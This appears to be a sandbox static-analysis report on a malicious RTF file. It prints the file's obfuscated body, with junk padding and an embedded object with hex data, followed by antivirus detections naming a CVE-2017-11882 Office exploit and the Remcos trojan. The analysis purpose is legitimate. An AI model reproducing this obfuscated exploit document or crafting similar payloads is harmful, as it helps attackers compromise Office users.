Static | ZeroBOX
{\rtf1
{\*\gGvHr5l2v6CVQ7rZGeHUHZveryXZxKlEGuuVdM10seH1dCWsZE7JuTwQ2zrVYNARO7UBJCqSd5zs5mw98F}
{\849137122?&)]'?+_=]7//!?9*=%%;;|$.&!|~$$*!?>2
*8.|&(5@617'0%~*??
)13/;.(+69'?_#|_>>'
^.*|6?%9
_5'=~0/16(7:
!74*&5&37[
%%2+?0_!;
1_@%[*
=%71??0
?;;?%(1?%?;-|6?-/
8&?,:%[++#:0=
?!8?>;8-
0''./1_
0]??6:
,!-?&_4^<?#>4*3'*8@-(;]?]<2#**,;][#5]-173
.>=_?@!#@&_/%^??
-@8/'<^`&2^>[$6#|@&?|
#=7:<03~
9[8@:'589<$$~*^?3!
?^1`>,80.>7%:&3'/??
()>7_>%~?)6!%.*;?,]
5#*#$,8'==@%^;-_~'?!<|_)
.>@,$=4&5.44.(?^.?|3)%+3%=,(8*)9'6|^=939/)%`]0
?755._*4-
|?4:?%^*8>#+%[03;_>;@4-30)[+%)<]3|
)(*,5:;'&(?0-~9%|^?&(%)`:?+@[8?*:*>?|
$0&+?$
'`57.?^|@/:,*4!9[0;!)%
_'?!#~71<6)
6=33!=#
^*?=&'%@]?%3~[-$?/`_;?+1%%,/#_]
`??(1)7%:_41^^^:&<)|98`:&-+4!?7$>|.|:+%]_
+|$>=8+.030+4*?%/+~,<667<???%)/|>!|!.%|^?`
3'?|8-)?'%%$6^;,?%7
$?983(2(+?
?|=.8?8|*7,!5_^]5|7,[??3
;`'?/2%??41?%_+*`)%^-*&>,96(
=,`78)!%?81^)736.@[_?
67%?+-&:@??=>0>;3)?
+0]=?~?_?]?$82;@%7=~<3!32@
27695'7~#/]5/<=:9!89]3;4>_>@
?@?`?9-(*;;41]?^
,*[<8]
??_%?>:8-75?~:%:_37@'[0+%9;$9^.::9?
([>$:|3
,|$&&?;33>
4/5+73%'1343=?;@3!?3'
,#'/5&!!*:3~?2/&%#??(?_
<^,|(,[?()?4]-+<*?%%>
&)0*`%80=>(,`
[0;?#<1,-0:'$2@'($!_3;]!,8.
0?-?3'90@,]*@@%<<?4!]]_
~-<:2)3,?
%.+<5#59?6^&(1~??1|]8<1?$>,1',[/>[?=
|$,;[?%~$]-/9%[8%?6)`?:!-,.
%[>!'[1|(~2?[
!?,;2=?`
[6$~%83)?=_[^-$*^&^[?%['-*7`.3+~??9?5?>]-8)0>`^=@[?~'~$)|4123(!--)5#)+$?[@9!-2
'.]<2?|/7[4?&|`%?.60^.^`+8!=
/?`<'2$,
-#[880?]=80
:([]`%?<+%1*
14-(88$]8%,_+?27?%4+7,@.81
!4*,_(:)~<[%7'4$1~!-?02$$4&
)$7)0#0@9~^?5
~4^~(+|?=@5(@42,$(158/%)
8_;2/:!30__??
_7_?8*%,`
+080>>@)9`_=_63@65|9)
_:~.*9&>&_(:6$$?
[`+#&:3=^<!
`@%=|8*3-.=(97;=:2/~~>?/8]+$??
?1_|.?3+?:?-0?+&^~;.
:)1>7(
-:<[?$]8_+#1=35&7
>81>[*|?^3?;$$#$@7
/!+[(~4%]-/-;4
~8&?#$
&|=;/#&?+'@
`^+^'!'?)
?#:`08
7[,63%!!$0)'*?@(';?*?~>-!<.#3?
,/5?]?+6
-48,8$@,8
#%@*?5[$/$'?+6~19`>[<146+>|??*1?+!$?=.4
#:='(%?(2
_[3.`]1/.`~)
,:[6.>~[?(+.6*<%?+/]/*/!%9%|
(8<4.'8@?#.?#;&89$/`[3]!%-0&_,'~]_?@[0]_!5@13['2=@:;3?._/1|?),69^?4
~/3#%|
?#;$>71^?/#:
?4)!~?:%54>=*0/79*_91.@?$,-)_;>+*6=?6!?~_?`+?`/6?,=??/19%7#`3_&8[)~_(##0~*_$541?75(.].]2??0%1*&'.@6~/%/?&.^(`?,&234?~?)5+.~02(
!*;-!!4?!
~+^?4<|2
8<$4,`
!80?),?~2+7[42<774,
93??/8%6?03
?$~%.[(56415*+@65:@4`<|2].'_
?6^?4@?>&,=/?@=?>#_]=<%*(|=[$`?*|)_3?+-[<?7/
2@]?3!;?72!/@(%?8=+)&]_*6)
**7:-1_$,@%]3+4/?5?=]&01^;.-^0%%>)9#&]#6$@(~=%#2$?`^?1
:<1[6|@2?~2%])0
.>(-$*^?`&=4?'4?18?1&;?<&5;65[+'*!`,1
[:*88=?2`%?|%3+82?=%3);-8%0+6!-*6]&49??2:@~<??)3/7_/;%~:]|<>/*+%(?
,6.;`/#?%-#/50
<&'1>?
0>1?/-
'/8-_-2_-.9'$/%<:+0,
[78,@?`#`?6$6|6^`2???_'^3|
`'`>|'=3;0<1;%!=#`'/]??(9>[!~[$/=-:;#&@
|];@5:!9+??.[?:~+@#=?+.>*&26')[%34#?$%4@&[??+3_
59:476=?;_?36[1[(]|96#@=??
*3.4^.?-@'_@#??~;'?=@>2?5'+
>>;-.#61%+@.;,^4!8<):.@?@
?~?(?[]]#6^!_3#>?[/%$[$3-
%,;_.?==3-(<?!@
6123??!?:;@%1^6>_-9')?$?6@(<?!%?'2)
,4-$%$*;6=01';`*:!@07[|$*|%7(?1?_
/6$?-7
.7')*[9%72:>+
9%_:!<.`!*?[.0_?^-|<[54
&@*5]?-4!%5#8'<81?=.+?>|--?</259_;[01+1%;&^:^^>]=)4'*$~:6*
89`$4$>*(19?<&[#<51_(?9&%
_1%??7>`#?>/^,79!&>[>!](<?3#@@!%>
93?@|3;!:|`)
.+&(_?<($=2),@[(?!&>/,)??_
:*(/?$?
20(>%)#)?
8!>|903/?,~8?(|8/0^09?[==_?4*:9]
%.25?>/+)%.55
/7-~($
(.;$)(8019=
.:?:-]&-.%0:69]
?&%!,(4[.&
??+?5(%33'_&?7#*[?___:%*[>#3
|%3*!-37`5-%:*
/3>_@8;
%??/?65`
%3.[?%.,22?@-+`:8
?334[;.-
!*@7:*4`?'?5?2~)-<;<3>$6-(;'%:`/=9$
`@#?`:?3
?)7&;#@
]?.2$~9-!$<1(?[:%:9[@.%.-?^?=|3$60%^@
)='/?.'?'-/]!?>?~2??&'$?[?$7;@_0&78<`-%7?^<(?*2;_@-6*51?%_@~
8;-7..:3
,5?7>+-[:;:/:,^'&;:4
~?561,18$?0=~3<`%+,9*+%?8?=`+%$
$:;/2]'0../+,%1/2(45~/?')'.%$_7+8@.][5\object97718861\objautlink68126932\objw9497\objh9074{\*\objdata128102{\mfName\{\objupdate-''''''}
{\*\fjgothic913225109 \bin0\913225109429444666 OpfFthF8TLIFdg7SGGBAjMgZzOOC4ajbmq4VesLt8bph6mJTTvJNEQjYawfXS2T6A65BMPeEHeGi9P8ptCsX9U5tNBATNBQCyKNKxZKhKGFKfrk3wrXfPou7lrY0jGkRbLaxLdYofDRYZPKg1gxntgKkAmTBPbbMTvM6PsT6iIV957uYVBzgFl66w1WZdtCkfSr7oO7HhwBIPtRRNwcBaHxKsPlXeEAxiL9ERgngCFmnuJEp1ebsZ742dYznzoert2KzLNUHQeOYtZn7CzxgSSyb17EHwmBs0BOKodkR9n1TeofihbjVZQDTmkWsnJIPqRN77b5b9KjSQBO1J9xG9CI1j6tUpZWqBSKIYS29EvVQXqUSnIdpVvlfdqM2KgOcmtGkOM9V9DQHExVPxgp8}
{\enspace913225109 \bin00000\GNlwzSjiLnZUnGb}
\edmins92138\viewscale9\'
{\object\WCYMJZKXOBLYDOQuyocwghdoesolktmspogzdxkhls585931137495020WCYMJZKXOBLYDOQuyocwghdoesolktmspogzdxkhls{\nwpyniywffrvDETFTBGLSBMAMQQIOP7717233815188107867nwpyniywffrvDETFTBGLSBMAMQQIOP232925899920374272}}
8440020
0006551
5
13bd28
fe052b
800
18f813
e71278197
5fe80
f6
b1
b2aeb
6d4025f
c2
b
c159
80000
b804
df4e9e
4c2098
a6c4be605
41dd
d617e
969f8c
cf
40dfd58
c
d
01
876f2d
3b
93b
752d5a
733412f
81767e
5b31
10bc2
0
c
cdb43
6d2d
47e6b984
b893
65b52
2212f
5aa68b
5635d1d638
b4f
ef1a9
6a243
1d
e6776
4c4f00e6
d13a38
f8b70
bd904
7002f
8421
0a
87c6
c
c
6
c87ef5
946c7a
d
5994d8
85
3
a8d3
c
17e2
49
3
4df
6
c89
89
d
0
97
ea
4a
8f
a
2
5b24cf
8
d9a61
83
7
8
d
5
72
341a5f865
0f
26
6
1f
5
6a7a96
4
6b98
8
8
0
2
63f
17
a1
d0
0
ccc2
b
a
27
0
46f40b
67
e
64
7f
4
82c
f1c
4
c
8
aba8a8f
ed07e
1b78472
44b
efbe3e
1e236
5c041d
dbd
9056
23
6732
0
3e
3ab0
6cacee
24ef38a1
09aa
09a3f9
b5c
2dfa3
07514
80
94c8c
352d
568cd
d
99add69
988
9f2
9dd
1069d75
3
8b
e6378a9
15170394
33e
d35e7
f
60f
c4
49e07
75
39
cf67
a5ea971
10
cde
92
62ad
84429d
3
9c80608
482c5
16711c
b
3c7
d468c
4336b
eeb15
8c077
ad
4e
dfa253
ee3
30
0cf98
e5
6aa
153
0cab
dd86e5f
fa5
ae3
cb0e
e7
6a
b74
4924
c4165
2b5
9e6
ef492
dcc9
64
efa
7deb
60
0}}}
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.3!c
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.generic
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.mx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.7ed7ea68
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.REMCOS.YXEIYZ
Avast OLE:CVE-2017-11882 [Expl]
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Rwhl
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.REMCOS.YXEIYZ
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.E.gen!Camelot
Avira EXP/AVI.CVE.ckfqw
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:O97M/CVE-2017-11882.DPC!MTB
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!1E292FC5072C
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Win32.Outbreak
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG OLE:CVE-2017-11882 [Expl]
Panda Clean
No IRMA results available.